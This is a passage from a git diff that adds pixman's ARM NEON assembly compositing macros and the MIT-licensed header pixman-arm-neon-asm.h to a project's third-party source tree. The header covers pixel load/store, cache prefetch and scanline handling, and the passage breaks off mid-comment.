+    vmull.u8    q4, d15, d0
+    vrshr.u16   q13, q8, #8
+    vrshr.u16   q12, q6, #8
+    vrshr.u16   q11, q5, #8
+    vrshr.u16   q10, q4, #8
+    vraddhn.u16 d3, q8, q13
+    vraddhn.u16 d2, q6, q12
+    vraddhn.u16 d1, q5, q11
+    vraddhn.u16 d0, q4, q10
+    vmvn.8      d24, d3  /* get inverted alpha */
+    /* now do alpha blending */
+    vmull.u8    q8, d24, d4
+    vmull.u8    q9, d24, d5
+    vmull.u8    q10, d24, d6
+    vmull.u8    q11, d24, d7
+.endm
+
+.macro pixman_composite_over_8888_n_8888_process_pixblock_tail
+    vrshr.u16   q14, q8, #8
+    vrshr.u16   q15, q9, #8
+    vrshr.u16   q12, q10, #8
+    vrshr.u16   q13, q11, #8
+    vraddhn.u16 d28, q14, q8
+    vraddhn.u16 d29, q15, q9
+    vraddhn.u16 d30, q12, q10
+    vraddhn.u16 d31, q13, q11
+    vqadd.u8    q14, q0, q14
+    vqadd.u8    q15, q1, q15
+.endm
+
+/* TODO: expand macros and do better instructions scheduling */
+.macro pixman_composite_over_8888_n_8888_process_pixblock_tail_head
+    vld4.8     {d4, d5, d6, d7}, [DST_R, :128]!
+    pixman_composite_over_8888_n_8888_process_pixblock_tail
+    vld4.8     {d0, d1, d2, d3}, [SRC]!
+    cache_preload 8, 8
+    pixman_composite_over_8888_n_8888_process_pixblock_head
+    vst4.8     {d28, d29, d30, d31}, [DST_W, :128]!
+.endm
+
+.macro pixman_composite_over_8888_n_8888_init
+    add         DUMMY, sp, #48
+    vpush       {d8-d15}
+    vld1.32     {d15[0]}, [DUMMY]
+    vdup.8      d15, d15[3]
+.endm
+
+.macro pixman_composite_over_8888_n_8888_cleanup
+    vpop        {d8-d15}
+.endm
+
+generate_composite_function \
+    pixman_composite_over_8888_n_8888_asm_neon, 32, 0, 32, \
+    FLAG_DST_READWRITE | FLAG_DEINTERLEAVE_32BPP, \
+    8, /* number of pixels, processed in a single block */ \
+    5, /* prefetch distance */ \
+    pixman_composite_over_8888_n_8888_init, \
+    pixman_composite_over_8888_n_8888_cleanup, \
+    pixman_composite_over_8888_n_8888_process_pixblock_head, \
+    pixman_composite_over_8888_n_8888_process_pixblock_tail, \
+    pixman_composite_over_8888_n_8888_process_pixblock_tail_head
+
+/******************************************************************************/
+
+/* TODO: expand macros and do better instructions scheduling */
+.macro pixman_composite_over_8888_8888_8888_process_pixblock_tail_head
+    vld4.8     {d4, d5, d6, d7}, [DST_R, :128]!
+    pixman_composite_over_8888_n_8888_process_pixblock_tail
+    vld4.8     {d0, d1, d2, d3}, [SRC]!
+    cache_preload 8, 8
+    vld4.8     {d12, d13, d14, d15}, [MASK]!
+    pixman_composite_over_8888_n_8888_process_pixblock_head
+    vst4.8     {d28, d29, d30, d31}, [DST_W, :128]!
+.endm
+
+.macro pixman_composite_over_8888_8888_8888_init
+    vpush       {d8-d15}
+.endm
+
+.macro pixman_composite_over_8888_8888_8888_cleanup
+    vpop        {d8-d15}
+.endm
+
+generate_composite_function \
+    pixman_composite_over_8888_8888_8888_asm_neon, 32, 32, 32, \
+    FLAG_DST_READWRITE | FLAG_DEINTERLEAVE_32BPP, \
+    8, /* number of pixels, processed in a single block */ \
+    5, /* prefetch distance */ \
+    pixman_composite_over_8888_8888_8888_init, \
+    pixman_composite_over_8888_8888_8888_cleanup, \
+    pixman_composite_over_8888_n_8888_process_pixblock_head, \
+    pixman_composite_over_8888_n_8888_process_pixblock_tail, \
+    pixman_composite_over_8888_8888_8888_process_pixblock_tail_head \
+    28, /* dst_w_basereg */ \
+    4,  /* dst_r_basereg */ \
+    0,  /* src_basereg   */ \
+    12  /* mask_basereg  */
+
+generate_composite_function_single_scanline \
+    pixman_composite_scanline_over_mask_asm_neon, 32, 32, 32, \
+    FLAG_DST_READWRITE | FLAG_DEINTERLEAVE_32BPP, \
+    8, /* number of pixels, processed in a single block */ \
+    pixman_composite_over_8888_8888_8888_init, \
+    pixman_composite_over_8888_8888_8888_cleanup, \
+    pixman_composite_over_8888_n_8888_process_pixblock_head, \
+    pixman_composite_over_8888_n_8888_process_pixblock_tail, \
+    pixman_composite_over_8888_8888_8888_process_pixblock_tail_head \
+    28, /* dst_w_basereg */ \
+    4,  /* dst_r_basereg */ \
+    0,  /* src_basereg   */ \
+    12  /* mask_basereg  */
+
+/******************************************************************************/
+
+/* TODO: expand macros and do better instructions scheduling */
+.macro pixman_composite_over_8888_8_8888_process_pixblock_tail_head
+    vld4.8     {d4, d5, d6, d7}, [DST_R, :128]!
+    pixman_composite_over_8888_n_8888_process_pixblock_tail
+    vld4.8     {d0, d1, d2, d3}, [SRC]!
+    cache_preload 8, 8
+    vld1.8     {d15}, [MASK]!
+    pixman_composite_over_8888_n_8888_process_pixblock_head
+    vst4.8     {d28, d29, d30, d31}, [DST_W, :128]!
+.endm
+
+.macro pixman_composite_over_8888_8_8888_init
+    vpush       {d8-d15}
+.endm
+
+.macro pixman_composite_over_8888_8_8888_cleanup
+    vpop        {d8-d15}
+.endm
+
+generate_composite_function \
+    pixman_composite_over_8888_8_8888_asm_neon, 32, 8, 32, \
+    FLAG_DST_READWRITE | FLAG_DEINTERLEAVE_32BPP, \
+    8, /* number of pixels, processed in a single block */ \
+    5, /* prefetch distance */ \
+    pixman_composite_over_8888_8_8888_init, \
+    pixman_composite_over_8888_8_8888_cleanup, \
+    pixman_composite_over_8888_n_8888_process_pixblock_head, \
+    pixman_composite_over_8888_n_8888_process_pixblock_tail, \
+    pixman_composite_over_8888_8_8888_process_pixblock_tail_head \
+    28, /* dst_w_basereg */ \
+    4,  /* dst_r_basereg */ \
+    0,  /* src_basereg   */ \
+    15  /* mask_basereg  */
+
+/******************************************************************************/
+
+.macro pixman_composite_src_0888_0888_process_pixblock_head
+.endm
+
+.macro pixman_composite_src_0888_0888_process_pixblock_tail
+.endm
+
+.macro pixman_composite_src_0888_0888_process_pixblock_tail_head
+    vst3.8 {d0, d1, d2}, [DST_W]!
+    vld3.8 {d0, d1, d2}, [SRC]!
+    cache_preload 8, 8
+.endm
+
+generate_composite_function \
+    pixman_composite_src_0888_0888_asm_neon, 24, 0, 24, \
+    FLAG_DST_WRITEONLY, \
+    8, /* number of pixels, processed in a single block */ \
+    10, /* prefetch distance */ \
+    default_init, \
+    default_cleanup, \
+    pixman_composite_src_0888_0888_process_pixblock_head, \
+    pixman_composite_src_0888_0888_process_pixblock_tail, \
+    pixman_composite_src_0888_0888_process_pixblock_tail_head, \
+    0, /* dst_w_basereg */ \
+    0, /* dst_r_basereg */ \
+    0, /* src_basereg   */ \
+    0  /* mask_basereg  */
+
+/******************************************************************************/
+
+.macro pixman_composite_src_0888_8888_rev_process_pixblock_head
+    vswp   d0, d2
+.endm
+
+.macro pixman_composite_src_0888_8888_rev_process_pixblock_tail
+.endm
+
+.macro pixman_composite_src_0888_8888_rev_process_pixblock_tail_head
+    vst4.8 {d0, d1, d2, d3}, [DST_W]!
+    vld3.8 {d0, d1, d2}, [SRC]!
+    vswp   d0, d2
+    cache_preload 8, 8
+.endm
+
+.macro pixman_composite_src_0888_8888_rev_init
+    veor   d3, d3, d3
+.endm
+
+generate_composite_function \
+    pixman_composite_src_0888_8888_rev_asm_neon, 24, 0, 32, \
+    FLAG_DST_WRITEONLY | FLAG_DEINTERLEAVE_32BPP, \
+    8, /* number of pixels, processed in a single block */ \
+    10, /* prefetch distance */ \
+    pixman_composite_src_0888_8888_rev_init, \
+    default_cleanup, \
+    pixman_composite_src_0888_8888_rev_process_pixblock_head, \
+    pixman_composite_src_0888_8888_rev_process_pixblock_tail, \
+    pixman_composite_src_0888_8888_rev_process_pixblock_tail_head, \
+    0, /* dst_w_basereg */ \
+    0, /* dst_r_basereg */ \
+    0, /* src_basereg   */ \
+    0  /* mask_basereg  */
+
+/******************************************************************************/
+
+.macro pixman_composite_src_0888_0565_rev_process_pixblock_head
+    vshll.u8    q8, d1, #8
+    vshll.u8    q9, d2, #8
+.endm
+
+.macro pixman_composite_src_0888_0565_rev_process_pixblock_tail
+    vshll.u8    q14, d0, #8
+    vsri.u16    q14, q8, #5
+    vsri.u16    q14, q9, #11
+.endm
+
+.macro pixman_composite_src_0888_0565_rev_process_pixblock_tail_head
+        vshll.u8    q14, d0, #8
+    vld3.8 {d0, d1, d2}, [SRC]!
+        vsri.u16    q14, q8, #5
+        vsri.u16    q14, q9, #11
+    vshll.u8    q8, d1, #8
+        vst1.16 {d28, d29}, [DST_W, :128]!
+    vshll.u8    q9, d2, #8
+.endm
+
+generate_composite_function \
+    pixman_composite_src_0888_0565_rev_asm_neon, 24, 0, 16, \
+    FLAG_DST_WRITEONLY, \
+    8, /* number of pixels, processed in a single block */ \
+    10, /* prefetch distance */ \
+    default_init, \
+    default_cleanup, \
+    pixman_composite_src_0888_0565_rev_process_pixblock_head, \
+    pixman_composite_src_0888_0565_rev_process_pixblock_tail, \
+    pixman_composite_src_0888_0565_rev_process_pixblock_tail_head, \
+    28, /* dst_w_basereg */ \
+    0, /* dst_r_basereg */ \
+    0, /* src_basereg   */ \
+    0  /* mask_basereg  */
+
+/******************************************************************************/
+
+.macro pixman_composite_src_pixbuf_8888_process_pixblock_head
+    vmull.u8    q8, d3, d0
+    vmull.u8    q9, d3, d1
+    vmull.u8    q10, d3, d2
+.endm
+
+.macro pixman_composite_src_pixbuf_8888_process_pixblock_tail
+    vrshr.u16   q11, q8, #8
+    vswp        d3, d31
+    vrshr.u16   q12, q9, #8
+    vrshr.u16   q13, q10, #8
+    vraddhn.u16 d30, q11, q8
+    vraddhn.u16 d29, q12, q9
+    vraddhn.u16 d28, q13, q10
+.endm
+
+.macro pixman_composite_src_pixbuf_8888_process_pixblock_tail_head
+        vrshr.u16   q11, q8, #8
+        vswp        d3, d31
+        vrshr.u16   q12, q9, #8
+        vrshr.u16   q13, q10, #8
+    vld4.8 {d0, d1, d2, d3}, [SRC]!
+        vraddhn.u16 d30, q11, q8
+                                    PF add PF_X, PF_X, #8
+                                    PF tst PF_CTL, #0xF
+                                    PF addne PF_X, PF_X, #8
+                                    PF subne PF_CTL, PF_CTL, #1
+        vraddhn.u16 d29, q12, q9
+        vraddhn.u16 d28, q13, q10
+    vmull.u8    q8, d3, d0
+    vmull.u8    q9, d3, d1
+    vmull.u8    q10, d3, d2
+        vst4.8 {d28, d29, d30, d31}, [DST_W, :128]!
+                                    PF cmp PF_X, ORIG_W
+                                    PF pld, [PF_SRC, PF_X, lsl #src_bpp_shift]
+                                    PF subge PF_X, PF_X, ORIG_W
+                                    PF subges PF_CTL, PF_CTL, #0x10
+                                    PF ldrgeb DUMMY, [PF_SRC, SRC_STRIDE, lsl #src_bpp_shift]!
+.endm
+
+generate_composite_function \
+    pixman_composite_src_pixbuf_8888_asm_neon, 32, 0, 32, \
+    FLAG_DST_WRITEONLY | FLAG_DEINTERLEAVE_32BPP, \
+    8, /* number of pixels, processed in a single block */ \
+    10, /* prefetch distance */ \
+    default_init, \
+    default_cleanup, \
+    pixman_composite_src_pixbuf_8888_process_pixblock_head, \
+    pixman_composite_src_pixbuf_8888_process_pixblock_tail, \
+    pixman_composite_src_pixbuf_8888_process_pixblock_tail_head, \
+    28, /* dst_w_basereg */ \
+    0, /* dst_r_basereg */ \
+    0, /* src_basereg   */ \
+    0  /* mask_basereg  */
diff --git a/src/3rdparty/pixman/pixman-arm-neon-asm.h b/src/3rdparty/pixman/pixman-arm-neon-asm.h
new file mode 100644
index 0000000..56c3fae
--- /dev/null
+++ b/src/3rdparty/pixman/pixman-arm-neon-asm.h
@@ -0,0 +1,906 @@
+/*
+ * Copyright © 2009 Nokia Corporation
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a
+ * copy of this software and associated documentation files (the "Software"),
+ * to deal in the Software without restriction, including without limitation
+ * the rights to use, copy, modify, merge, publish, distribute, sublicense,
+ * and/or sell copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice (including the next
+ * paragraph) shall be included in all copies or substantial portions of the
+ * Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL
+ * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+ * DEALINGS IN THE SOFTWARE.
+ *
+ * Author:  Siarhei Siamashka (siarhei.siamashka@nokia.com)
+ */
+
+/*
+ * This file contains a macro ('generate_composite_function') which can
+ * construct 2D image processing functions, based on a common template.
+ * Any combinations of source, destination and mask images with 8bpp,
+ * 16bpp, 24bpp, 32bpp color formats are supported.
+ *
+ * This macro takes care of:
+ *  - handling of leading and trailing unaligned pixels
+ *  - doing most of the work related to L2 cache preload
+ *  - encourages the use of software pipelining for better instructions
+ *    scheduling
+ *
+ * The user of this macro has to provide some configuration parameters
+ * (bit depths for the images, prefetch distance, etc.) and a set of
+ * macros, which should implement basic code chunks responsible for
+ * pixels processing. See 'pixman-arm-neon-asm.S' file for the usage
+ * examples.
+ *
+ * TODO:
+ *  - try overlapped pixel method (from Ian Rickards) when processing
+ *    exactly two blocks of pixels
+ *  - maybe add an option to do reverse scanline processing
+ */
+
+/*
+ * Bit flags for 'generate_composite_function' macro which are used
+ * to tune generated functions behavior.
+ */
+.set FLAG_DST_WRITEONLY,       0
+.set FLAG_DST_READWRITE,       1
+.set FLAG_DEINTERLEAVE_32BPP,  2
+
+/*
+ * Offset in stack where mask and source pointer/stride can be accessed
+ * from 'init' macro. This is useful for doing special handling for solid mask.
+ */
+.set ARGS_STACK_OFFSET,        40
+
+/*
+ * Constants for selecting preferable prefetch type.
+ */
+.set PREFETCH_TYPE_NONE,       0 /* No prefetch at all */
+.set PREFETCH_TYPE_SIMPLE,     1 /* A simple, fixed-distance-ahead prefetch */
+.set PREFETCH_TYPE_ADVANCED,   2 /* Advanced fine-grained prefetch */
+
+/*
+ * Definitions of supplementary pixld/pixst macros (for partial load/store of
+ * pixel data).
+ */
+
+.macro pixldst1 op, elem_size, reg1, mem_operand, abits
+.if abits > 0
+    op&.&elem_size {d&reg1}, [&mem_operand&, :&abits&]!
+.else
+    op&.&elem_size {d&reg1}, [&mem_operand&]!
+.endif
+.endm
+
+.macro pixldst2 op, elem_size, reg1, reg2, mem_operand, abits
+.if abits > 0
+    op&.&elem_size {d&reg1, d&reg2}, [&mem_operand&, :&abits&]!
+.else
+    op&.&elem_size {d&reg1, d&reg2}, [&mem_operand&]!
+.endif
+.endm
+
+.macro pixldst4 op, elem_size, reg1, reg2, reg3, reg4, mem_operand, abits
+.if abits > 0
+    op&.&elem_size {d&reg1, d&reg2, d&reg3, d&reg4}, [&mem_operand&, :&abits&]!
+.else
+    op&.&elem_size {d&reg1, d&reg2, d&reg3, d&reg4}, [&mem_operand&]!
+.endif
+.endm
+
+.macro pixldst0 op, elem_size, reg1, idx, mem_operand, abits
+    op&.&elem_size {d&reg1[idx]}, [&mem_operand&]!
+.endm
+
+.macro pixldst3 op, elem_size, reg1, reg2, reg3, mem_operand
+    op&.&elem_size {d&reg1, d&reg2, d&reg3}, [&mem_operand&]!
+.endm
+
+.macro pixldst30 op, elem_size, reg1, reg2, reg3, idx, mem_operand
+    op&.&elem_size {d&reg1[idx], d&reg2[idx], d&reg3[idx]}, [&mem_operand&]!
+.endm
+
+.macro pixldst numbytes, op, elem_size, basereg, mem_operand, abits
+.if numbytes == 32
+    pixldst4 op, elem_size, %(basereg+4), %(basereg+5), \
+                              %(basereg+6), %(basereg+7), mem_operand, abits
+.elseif numbytes == 16
+    pixldst2 op, elem_size, %(basereg+2), %(basereg+3), mem_operand, abits
+.elseif numbytes == 8
+    pixldst1 op, elem_size, %(basereg+1), mem_operand, abits
+.elseif numbytes == 4
+    .if !RESPECT_STRICT_ALIGNMENT || (elem_size == 32)
+        pixldst0 op, 32, %(basereg+0), 1, mem_operand, abits
+    .elseif elem_size == 16
+        pixldst0 op, 16, %(basereg+0), 2, mem_operand, abits
+        pixldst0 op, 16, %(basereg+0), 3, mem_operand, abits
+    .else
+        pixldst0 op, 8, %(basereg+0), 4, mem_operand, abits
+        pixldst0 op, 8, %(basereg+0), 5, mem_operand, abits
+        pixldst0 op, 8, %(basereg+0), 6, mem_operand, abits
+        pixldst0 op, 8, %(basereg+0), 7, mem_operand, abits
+    .endif
+.elseif numbytes == 2
+    .if !RESPECT_STRICT_ALIGNMENT || (elem_size == 16)
+        pixldst0 op, 16, %(basereg+0), 1, mem_operand, abits
+    .else
+        pixldst0 op, 8, %(basereg+0), 2, mem_operand, abits
+        pixldst0 op, 8, %(basereg+0), 3, mem_operand, abits
+    .endif
+.elseif numbytes == 1
+    pixldst0 op, 8, %(basereg+0), 1, mem_operand, abits
+.else
+    .error "unsupported size: numbytes"
+.endif
+.endm
+
+.macro pixld numpix, bpp, basereg, mem_operand, abits=0
+.if bpp > 0
+.if (bpp == 32) && (numpix == 8) && (DEINTERLEAVE_32BPP_ENABLED != 0)
+    pixldst4 vld4, 8, %(basereg+4), %(basereg+5), \
+                      %(basereg+6), %(basereg+7), mem_operand, abits
+.elseif (bpp == 24) && (numpix == 8)
+    pixldst3 vld3, 8, %(basereg+3), %(basereg+4), %(basereg+5), mem_operand
+.elseif (bpp == 24) && (numpix == 4)
+    pixldst30 vld3, 8, %(basereg+0), %(basereg+1), %(basereg+2), 4, mem_operand
+    pixldst30 vld3, 8, %(basereg+0), %(basereg+1), %(basereg+2), 5, mem_operand
+    pixldst30 vld3, 8, %(basereg+0), %(basereg+1), %(basereg+2), 6, mem_operand
+    pixldst30 vld3, 8, %(basereg+0), %(basereg+1), %(basereg+2), 7, mem_operand
+.elseif (bpp == 24) && (numpix == 2)
+    pixldst30 vld3, 8, %(basereg+0), %(basereg+1), %(basereg+2), 2, mem_operand
+    pixldst30 vld3, 8, %(basereg+0), %(basereg+1), %(basereg+2), 3, mem_operand
+.elseif (bpp == 24) && (numpix == 1)
+    pixldst30 vld3, 8, %(basereg+0), %(basereg+1), %(basereg+2), 1, mem_operand
+.else
+    pixldst %(numpix * bpp / 8), vld1, %(bpp), basereg, mem_operand, abits
+.endif
+.endif
+.endm
+
+.macro pixst numpix, bpp, basereg, mem_operand, abits=0
+.if bpp > 0
+.if (bpp == 32) && (numpix == 8) && (DEINTERLEAVE_32BPP_ENABLED != 0)
+    pixldst4 vst4, 8, %(basereg+4), %(basereg+5), \
+                      %(basereg+6), %(basereg+7), mem_operand, abits
+.elseif (bpp == 24) && (numpix == 8)
+    pixldst3 vst3, 8, %(basereg+3), %(basereg+4), %(basereg+5), mem_operand
+.elseif (bpp == 24) && (numpix == 4)
+    pixldst30 vst3, 8, %(basereg+0), %(basereg+1), %(basereg+2), 4, mem_operand
+    pixldst30 vst3, 8, %(basereg+0), %(basereg+1), %(basereg+2), 5, mem_operand
+    pixldst30 vst3, 8, %(basereg+0), %(basereg+1), %(basereg+2), 6, mem_operand
+    pixldst30 vst3, 8, %(basereg+0), %(basereg+1), %(basereg+2), 7, mem_operand
+.elseif (bpp == 24) && (numpix == 2)
+    pixldst30 vst3, 8, %(basereg+0), %(basereg+1), %(basereg+2), 2, mem_operand
+    pixldst30 vst3, 8, %(basereg+0), %(basereg+1), %(basereg+2), 3, mem_operand
+.elseif (bpp == 24) && (numpix == 1)
+    pixldst30 vst3, 8, %(basereg+0), %(basereg+1), %(basereg+2), 1, mem_operand
+.else
+    pixldst %(numpix * bpp / 8), vst1, %(bpp), basereg, mem_operand, abits
+.endif
+.endif
+.endm
+
+.macro pixld_a numpix, bpp, basereg, mem_operand
+.if (bpp * numpix) <= 128
+    pixld numpix, bpp, basereg, mem_operand, %(bpp * numpix)
+.else
+    pixld numpix, bpp, basereg, mem_operand, 128
+.endif
+.endm
+
+.macro pixst_a numpix, bpp, basereg, mem_operand
+.if (bpp * numpix) <= 128
+    pixst numpix, bpp, basereg, mem_operand, %(bpp * numpix)
+.else
+    pixst numpix, bpp, basereg, mem_operand, 128
+.endif
+.endm
+
+.macro vuzp8 reg1, reg2
+    vuzp.8 d&reg1, d&reg2
+.endm
+
+.macro vzip8 reg1, reg2
+    vzip.8 d&reg1, d&reg2
+.endm
+
+/* deinterleave B, G, R, A channels for eight 32bpp pixels in 4 registers */
+.macro pixdeinterleave bpp, basereg
+.if (bpp == 32) && (DEINTERLEAVE_32BPP_ENABLED != 0)
+    vuzp8 %(basereg+0), %(basereg+1)
+    vuzp8 %(basereg+2), %(basereg+3)
+    vuzp8 %(basereg+1), %(basereg+3)
+    vuzp8 %(basereg+0), %(basereg+2)
+.endif
+.endm
+
+/* interleave B, G, R, A channels for eight 32bpp pixels in 4 registers */
+.macro pixinterleave bpp, basereg
+.if (bpp == 32) && (DEINTERLEAVE_32BPP_ENABLED != 0)
+    vzip8 %(basereg+0), %(basereg+2)
+    vzip8 %(basereg+1), %(basereg+3)
+    vzip8 %(basereg+2), %(basereg+3)
+    vzip8 %(basereg+0), %(basereg+1)
+.endif
+.endm
+
+/*
+ * This is a macro for implementing cache preload. The main idea is that
+ * cache preload logic is mostly independent from the rest of pixels
+ * processing code. It starts at the top left pixel and moves forward
+ * across pixels and can jump across scanlines. Prefetch distance is
+ * handled in an 'incremental' way: it starts from 0 and advances to the
+ * optimal distance over time. After reaching optimal prefetch distance,
+ * it is kept constant. There are some checks which prevent prefetching
+ * unneeded pixel lines below the image (but it still can prefetch a bit
+ * more data on the right side of the image - not a big issue and may
+ * be actually helpful when rendering text glyphs). Additional trick is
+ * the use of LDR instruction for prefetch instead of PLD when moving to
+ * the next line, the point is that we have a high chance of getting TLB
+ * miss in this case, and PLD would be useless.
+ *
+ * This sounds like it may introduce a noticeable overhead (when working with
+ * fully cached data). But in reality, due to having a separate pipeline and
+ * instruction queue for NEON unit in ARM Cortex-A8, normal ARM code can
+ * execute simultaneously with NEON and be completely shadowed by it. Thus
+ * we get no performance overhead at all (*). This looks like a very nice
+ * feature of Cortex-A8, if used wisely. We don't have a hardware prefetcher,
+ * but still can implement some rather advanced prefetch logic in sofware
+ * for almost zero cost!
+ *
+ * (*) The overhead of the prefetcher is visible when running some trivial
+ * pixels processing like simple copy. Anyway, having prefetch is a must
+ * when working with the graphics data.
+ */
+.macro PF a, x:vararg
+.if (PREFETCH_TYPE_CURRENT == PREFETCH_TYPE_ADVANCED)
+    a x
+.endif
+.endm
+
+.macro cache_preload std_increment, boost_increment
+.if (src_bpp_shift >= 0) || (dst_r_bpp != 0) || (mask_bpp_shift >= 0)
+.if regs_shortage
+    PF ldr ORIG_W, [sp] /* If we are short on regs, ORIG_W is kept on stack */
+.endif
+.if std_increment != 0
+    PF add PF_X, PF_X, #std_increment
+.endif
+    PF tst PF_CTL, #0xF
+    PF addne PF_X, PF_X, #boost_increment
+    PF subne PF_CTL, PF_CTL, #1
+    PF cmp PF_X, ORIG_W
+.if src_bpp_shift >= 0
+    PF pld, [PF_SRC, PF_X, lsl #src_bpp_shift]
+.endif
+.if dst_r_bpp != 0
+    PF pld, [PF_DST, PF_X, lsl #dst_bpp_shift]
+.endif
+.if mask_bpp_shift >= 0
+    PF pld, [PF_MASK, PF_X, lsl #mask_bpp_shift]
+.endif
+    PF subge PF_X, PF_X, ORIG_W
+    PF subges PF_CTL, PF_CTL, #0x10
+.if src_bpp_shift >= 0
+    PF ldrgeb DUMMY, [PF_SRC, SRC_STRIDE, lsl #src_bpp_shift]!
+.endif
+.if dst_r_bpp != 0
+    PF ldrgeb DUMMY, [PF_DST, DST_STRIDE, lsl #dst_bpp_shift]!
+.endif
+.if mask_bpp_shift >= 0
+    PF ldrgeb DUMMY, [PF_MASK, MASK_STRIDE, lsl #mask_bpp_shift]!
+.endif
+.endif
+.endm
+
+.macro cache_preload_simple
+.if (PREFETCH_TYPE_CURRENT == PREFETCH_TYPE_SIMPLE)
+.if src_bpp > 0
+    pld [SRC, #(PREFETCH_DISTANCE_SIMPLE * src_bpp / 8)]
+.endif
+.if dst_r_bpp > 0
+    pld [DST_R, #(PREFETCH_DISTANCE_SIMPLE * dst_r_bpp / 8)]
+.endif
+.if mask_bpp > 0
+    pld [MASK, #(PREFETCH_DISTANCE_SIMPLE * mask_bpp / 8)]
+.endif
+.endif
+.endm
+
+/*
+ * Macro which is used to process leading pixels until destination
+ * pointer is properly aligned (at 16 bytes boundary). When destination
+ * buffer uses 16bpp format, this is unnecessary, or even pointless.
+ */
+.macro ensure_destination_ptr_alignment process_pixblock_head, \
+                                        process_pixblock_tail, \
+                                        process_pixblock_tail_head
+.if dst_w_bpp != 24
+    tst         DST_R, #0xF
+    beq         2f
+
+.irp lowbit, 1, 2, 4, 8, 16
+local skip1
+.if (dst_w_bpp <= (lowbit * 8)) && ((lowbit * 8) < (pixblock_size * dst_w_bpp))
+.if lowbit < 16 /* we don't need more than 16-byte alignment */
+    tst         DST_R, #lowbit
+    beq         1f
+.endif
+    pixld       (lowbit * 8 / dst_w_bpp), src_bpp, src_basereg, SRC
+    pixld       (lowbit * 8 / dst_w_bpp), mask_bpp, mask_basereg, MASK
+.if dst_r_bpp > 0
+    pixld_a     (lowbit * 8 / dst_r_bpp), dst_r_bpp, dst_r_basereg, DST_R
+.else
+    add         DST_R, DST_R, #lowbit
+.endif
+    PF add      PF_X, PF_X, #(lowbit * 8 / dst_w_bpp)
+    sub         W, W, #(lowbit * 8 / dst_w_bpp)
+1:
+.endif
+.endr
+    pixdeinterleave src_bpp, src_basereg
+    pixdeinterleave mask_bpp, mask_basereg
+    pixdeinterleave dst_r_bpp, dst_r_basereg
+
+    process_pixblock_head
+    cache_preload 0, pixblock_size
+    cache_preload_simple
+    process_pixblock_tail
+
+    pixinterleave dst_w_bpp, dst_w_basereg
+.irp lowbit, 1, 2, 4, 8, 16
+.if (dst_w_bpp <= (lowbit * 8)) && ((lowbit * 8) < (pixblock_size * dst_w_bpp))
+.if lowbit < 16 /* we don't need more than 16-byte alignment */
+    tst         DST_W, #lowbit
+    beq         1f
+.endif
+    pixst_a     (lowbit * 8 / dst_w_bpp), dst_w_bpp, dst_w_basereg, DST_W
+1:
+.endif
+.endr
+.endif
+2:
+.endm
+
+/*
+ * Special code for processing up to (pixblock_size - 1) remaining
+ * trailing pixels. As SIMD processing performs operation on
+ * pixblock_size pixels, anything smaller than this has to be loaded
+ * and stored in a special way. Loading and storing of pixel data is
+ * performed in such a way that we fill some 'slots' in the NEON
+ * registers (some slots naturally are unused), then perform compositing
+ * operation as usual. In the end, the data is taken from these 'slots'
+ * and saved to memory.
+ *
+ * cache_preload_flag - allows to suppress prefetch if
+ *                      set to 0
+ * dst_aligned_flag   - selects whether destination buffer
+ *                      is aligned
+ */
+.macro process_trailing_pixels cache_preload_flag, \
+                               dst_aligned_flag, \
+                               process_pixblock_head, \
+                               process_pixblock_tail, \
+                               process_pixblock_tail_head
+    tst         W, #(pixblock_size - 1)
+    beq         2f
+.irp chunk_size, 16, 8, 4, 2, 1
+.if pixblock_size > chunk_size
+    tst         W, #chunk_size
+    beq         1f
+    pixld       chunk_size, src_bpp, src_basereg, SRC
+    pixld       chunk_size, mask_bpp, mask_basereg, MASK
+.if dst_aligned_flag != 0
+    pixld_a     chunk_size, dst_r_bpp, dst_r_basereg, DST_R
+.else
+    pixld       chunk_size, dst_r_bpp, dst_r_basereg, DST_R
+.endif
+.if cache_preload_flag != 0
+    PF add      PF_X, PF_X, #chunk_size
+.endif
+1:
+.endif
+.endr
+    pixdeinterleave src_bpp, src_basereg
+    pixdeinterleave mask_bpp, mask_basereg
+    pixdeinterleave dst_r_bpp, dst_r_basereg
+
+    process_pixblock_head
+.if cache_preload_flag != 0
+    cache_preload 0, pixblock_size
+    cache_preload_simple
+.endif
+    process_pixblock_tail
+    pixinterleave dst_w_bpp, dst_w_basereg
+.irp chunk_size, 16, 8, 4, 2, 1
+.if pixblock_size > chunk_size
+    tst         W, #chunk_size
+    beq         1f
+.if dst_aligned_flag != 0
+    pixst_a     chunk_size, dst_w_bpp, dst_w_basereg, DST_W
+.else
+    pixst       chunk_size, dst_w_bpp, dst_w_basereg, DST_W
+.endif
+1:
+.endif
+.endr
+2:
+.endm
+
+/*
+ * Macro, which performs all the needed operations to switch to the next
+ * scanline and start the next loop iteration unless all the scanlines
+ * are already processed.
+ */
+.macro advance_to_next_scanline start_of_loop_label
+.if regs_shortage
+    ldrd        W, [sp] /* load W and H (width and height) from stack */
+.else
+    mov         W, ORIG_W
+.endif
+    add         DST_W, DST_W, DST_STRIDE, lsl #dst_bpp_shift
+.if src_bpp != 0
+    add         SRC, SRC, SRC_STRIDE, lsl #src_bpp_shift
+.endif
+.if mask_bpp != 0
+    add         MASK, MASK, MASK_STRIDE, lsl #mask_bpp_shift
+.endif
+.if (dst_w_bpp != 24)
+    sub         DST_W, DST_W, W, lsl #dst_bpp_shift
+.endif
+.if (src_bpp != 24) && (src_bpp != 0)
+    sub         SRC, SRC, W, lsl #src_bpp_shift
+.endif
+.if (mask_bpp != 24) && (mask_bpp != 0)
+    sub         MASK, MASK, W, lsl #mask_bpp_shift
+.endif
+    subs        H, H, #1
+    mov         DST_R, DST_W
+.if regs_shortage
+    str         H, [sp, #4] /* save updated height to stack */
+.endif
+    bge         start_of_loop_label
+.endm
+
+/*
+ * Registers are allocated in the following way by default:
+ * d0, d1, d2, d3     - reserved for loading source pixel data
